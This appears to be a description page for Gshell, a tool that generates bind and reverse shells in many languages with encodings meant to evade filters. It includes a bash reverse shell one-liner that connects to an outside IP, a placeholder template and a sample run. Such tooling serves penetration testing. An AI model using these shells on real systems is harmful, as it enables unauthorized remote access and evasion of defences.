Gshell : A Flexible And Scalable Cross-Plaform Shell Generator Tool

Gshell is a simple yet flexible cross-platform shell generator tool. A cross-platform shell generator tool that lets you generate whichever shell you want, in any system you want, giving you full control and automation.

Is cross-platform, you can use it in operating systems such as:

  • Unix-based systems
  • GNU/Linux
  • Windows
  • macOS

Generates the following shells:

  • Bind Shells: The target has a listening port and we connect to the target.
  • Reverse Shells: We have a listening port and the target connects to us.

Supports the following encodings (as of now):

  • URL Encoding: Bypass URL filters
  • Base64/32/16 Encodings: Bypass string/keyword filters
  • PowerShell Base64 Encoding

Supports the follow IP versions:

  • IPv4
  • IPv6

Supported protocols:

  • TCP
  • UDP
  • ICMP

Note: You can add your own shells that use other protocols such as DNS.

Supports the following languages and tools:

  • PowerShell
  • Python
  • Bash
  • Sh
  • Perl
  • Socat
  • Netcat
  • Nc
  • Awk
  • Lua
  • NodeJS
  • OpenSSL
  • PHP
  • Ruby
  • Telnet
  • Golang
  • C#
  • Dart
  • Groovy
  • Many more…

It is limitless, feel free to add as many as you desire!

The shells are stored in markdown files as it makes it easy for everyone.

You can add more bind shells by adding markdown code blocks the following file:

shells/bind_shells.md

You can also add more reverse shells by adding markdown code blocks the following file:

shells/reverse_shells.md

These can be one-liners and multi-liners, it doesn’t matter. You can even add C# multi-liners code blocks if you want.

Here is a reverse shell example command:

bash -i >& /dev/tcp/192.168.10.11/433 0>&1

To add another shell simply replace the IP address and the port placeholders or variables values with these placeholders in your code or command:

  • $ip: IP address
  • $port: Port number

Here is an example:

bash -i >& /dev/tcp/$ip/$port 0>&1

Example of Listeners and Connectors

Connect with nc TCP:

nc -v

Connect with nc UDP:

nc -vu IP PORT

Example of Bind Shells & Reverse Shells

Example, generate bash reverse shells:

PS C:\gshell> python .\gshell.py -i 192.168.111.120 -p 443 -r -s bash
[+] The IPv4 address: 192.168.111.120 is valid.
[+] The port number: 443 is valid.
[+] Shell type is valid
[+] Preparing reverse shells
[+] Generating bash shells
